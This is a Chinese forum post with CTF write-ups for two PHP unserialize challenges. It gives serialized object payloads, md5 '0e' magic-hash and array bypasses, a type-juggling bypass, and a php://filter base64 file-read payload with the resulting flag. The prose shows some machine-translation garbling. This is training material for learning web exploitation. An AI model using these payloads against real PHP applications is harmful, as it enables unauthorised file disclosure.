每日进步一点点(网安)

打印 上一主题 下一主题

主题 990|帖子 990|积分 2970

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
1.BUU CODE REVIEW 1

先看源代码
  1. <?php
  2. highlight_file(__FILE__);
  3. class BUU {
  4.    public $correct = "";
  5.    public $input = "";
  6.    public function __destruct() {
  7.        try {
  8.            $this->correct = base64_encode(uniqid());
  9.            if($this->correct === $this->input) {
  10.                echo file_get_contents("/flag");
  11.            }
  12.        } catch (Exception $e) {
  13.        }
  14.    }
  15. }
  16. if($_GET['pleaseget'] === '1') {
  17.     if($_POST['pleasepost'] === '2') {
  18.         if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
  19.             unserialize($_POST['obj']);
  20.         }
  21.     }
  22. }
复制代码
源代码中包含BUU类和if条件判断语句
先分析BUU类,有__destruct()方法,就是对象被烧毁时主动调用,可以通过序列化结果举行post传参,让correct和input相等即可得到flag,这是对BUU类的操作
  1. <?php
  2. class BUU {
  3.    public $correct = "";
  4.    public $input = "";
  5.    public function __destruct() {
  6.        try {
  7.            $this->correct = base64_encode(uniqid());
  8.            if($this->correct === $this->input) {
  9.                echo file_get_contents("/flag");
  10.            }
  11.        } catch (Exception $e) {
  12.        }
  13.    }
  14. }
  15. $a=new BUU();
  16. $a->input=&$a->correct;
  17. echo serialize($a);
  18. ?>
复制代码
  O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
  为什么这样构造呢?因为uniqid()产生的数是随时厘革的,以是不能单纯让两个变量的值相等,因为无法保障值是确定唯一的,以是用到指针,让两个变量的内存地点相等,也就是共用一个内存地点。就可以确保两个变量是完全相同的~~这样就可以得到序列化字符串,举行反序列化绕过
下一步就是 分析if语句,if语句的条件有一个get和四个post,get传参时需要满意pleaseget=1,post传参需要满意①pleasepsot=2,②md5的弱相等
md5弱相等绕过有两种办法:
①科学计数法:字符串以0e开头的,后面都是纯数字,就会被认为科学计数,在php中遇到0e就会表明为0,不管后面是什么,都表明为0
这是一些常用到的0e开头的字符串
字符串md5QNKCDZO0e830400451993494058024219903391s155964671a0e342768416822451524974117254469s878926199a0e545993274517709034328855841020 ②数组绕过:md5无法解析数组,以是当处置惩罚数组时,就会返回null,天然null==null 
举行传参,得到flag

2.[网鼎杯 2020 青龙组]AreUSerialz

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. class FileHandler {
  5.     protected $op;
  6.     protected $filename;
  7.     protected $content;
  8.     function __construct() {
  9.         $op = "1";
  10.         $filename = "/tmp/tmpfile";
  11.         $content = "Hello World!";
  12.         $this->process();
  13.     }
  14.     public function process() {
  15.         if($this->op == "1") {
  16.             $this->write();
  17.         } else if($this->op == "2") {
  18.             $res = $this->read();
  19.             $this->output($res);
  20.         } else {
  21.             $this->output("Bad Hacker!");
  22.         }
  23.     }
  24.     private function write() {
  25.         if(isset($this->filename) && isset($this->content)) {
  26.             if(strlen((string)$this->content) > 100) {
  27.                 $this->output("Too long!");
  28.                 die();
  29.             }
  30.             $res = file_put_contents($this->filename, $this->content);
  31.             if($res) $this->output("Successful!");
  32.             else $this->output("Failed!");
  33.         } else {
  34.             $this->output("Failed!");
  35.         }
  36.     }
  37.     private function read() {
  38.         $res = "";
  39.         if(isset($this->filename)) {
  40.             $res = file_get_contents($this->filename);
  41.         }
  42.         return $res;
  43.     }
  44.     private function output($s) {
  45.         echo "[Result]: <br>";
  46.         echo $s;
  47.     }
  48.     function __destruct() {
  49.         if($this->op === "2")
  50.             $this->op = "1";
  51.         $this->content = "";
  52.         $this->process();
  53.     }
  54. }
  55. function is_valid($s) {
  56.     for($i = 0; $i < strlen($s); $i++)
  57.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58.             return false;
  59.     return true;
  60. }
  61. if(isset($_GET{'str'})) {
  62.     $str = (string)$_GET['str'];
  63.     if(is_valid($str)) {
  64.         $obj = unserialize($str);
  65.     }
  66. }
复制代码
本题的代码有点长,咱们一段一段看
  1. public function process() {
  2.        if($this->op == "1") {
  3.            $this->write();
  4.        } else if($this->op == "2") {
  5.            $res = $this->read();
  6.            $this->output($res);
  7.        } else {
  8.            $this->output("Bad Hacker!");
  9.        }
  10.    }
复制代码
在process方法中,当类变量op等于1的时候会调用write()方法,等于2的时候会调用read()方法。那么我们接下来就分析这两个方法
  1. private function write() {
  2.        if(isset($this->filename) && isset($this->content)) {
  3.            if(strlen((string)$this->content) > 100) {
  4.                $this->output("Too long!");
  5.                die();
  6.            }
  7.            $res = file_put_contents($this->filename, $this->content);
  8.            if($res) $this->output("Successful!");
  9.            else $this->output("Failed!");
  10.        } else {
  11.            $this->output("Failed!");
  12.        }
  13.    }
复制代码
write()中就是个判断字符串长度,完了将字符串写入文件中,没什么用
  1. private function read() {
  2.        $res = "";
  3.        if(isset($this->filename)) {
  4.            $res = file_get_contents($this->filename);
  5.        }
  6.        return $res;
  7.    }
复制代码
我们发现read()方法中有file_get_contents函数用于读取文件,以是read方法就是我们得到flag的关键。 这也就出现了第一个条件:变量op得等于2
我们再来看把戏方法__destruct(),当一个对象被删除或对象操作被终止时就会调用这个方法。我们进入这个靶场的时候,对象一定是会被杀死的,以是我们一定会调用这个把戏方法
  1. function __destruct() {
  2.        if($this->op === "2")
  3.            $this->op = "1";
  4.        $this->content = "";
  5.        $this->process();
  6.    }
复制代码
在这个方法中,当op强等于2时,就会使op等于1,但是我们必须让op等于2,以是这个地方要举行绕过
在php中,强比较===不仅比较值还比较数据类型,而弱比较==只比较值。以是我们让po=2,这里的2是int类型,不是字符类型“2”
  1. function is_valid($s) {
  2.    for($i = 0; $i < strlen($s); $i++)
  3.        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  4.            return false;
  5.    return true;
  6. }
复制代码
is_valid()方法规定传入变量的字符的ASCII码必须是32-125,而变量是protected定义的,protected属性在序列化后会出现不可见字符\x00*\x00,转化为ASCII码不符合要求,而public属性序列化不会出现不可见字符,可以用public属性来绕过
根据以上分析,我们先来构造反序列化代码:
  1. <?php
  2. class FileHandler{
  3.    
  4.    public $op = 2;    
  5.    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";    
  6.    public $content;  
  7. }
  8. $a = new FileHandler();
  9. echo serialize($a);
  10. ?>
复制代码
PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
   php://filter是一种PHP中的一种特别的流(即PHP伪协议),允许开发者利用流过滤器来对数据举行处置惩罚。也就是说这个协议可以用来过滤一些东西,利用差别的参数可以到达差别的目标和效果:
  resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选
  read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
  write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
  <;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视环境应用于读或写链。
  
  php://filter与包含函数结合时,php://filter流会被当作php文件实验。以是我们一样平常对其举行编码,阻止其不实验。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出,不然会直接当做php代码实验,看不到源代码内容。
  php://filter协议,用base64编码的方式来读文件flag.php;这时页面会表现出源文件flag.php颠末base64编码后的内容,然后颠末base64解码就可以看到flag:
以是本题的payload为:/?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:
  
  1. O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
复制代码
得到一串base64编码,解码后即可得到flag:
  
  1. PD9waHAgJGZsYWc9J2ZsYWd7ODE2Y2FkZDUtM2I5Ny00ODU4LWI0ODEtNGE1MGE2ZGU0NjBmfSc7Cg==
复制代码
  1. <?php $flag='flag{816cadd5-3b97-4858-b481-4a50a6de460f}';
复制代码
当然构造反序列化代码时也可以利用flag.php,但是这样靶场不会出现flag,需要去页面源代码中查看才气找到

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表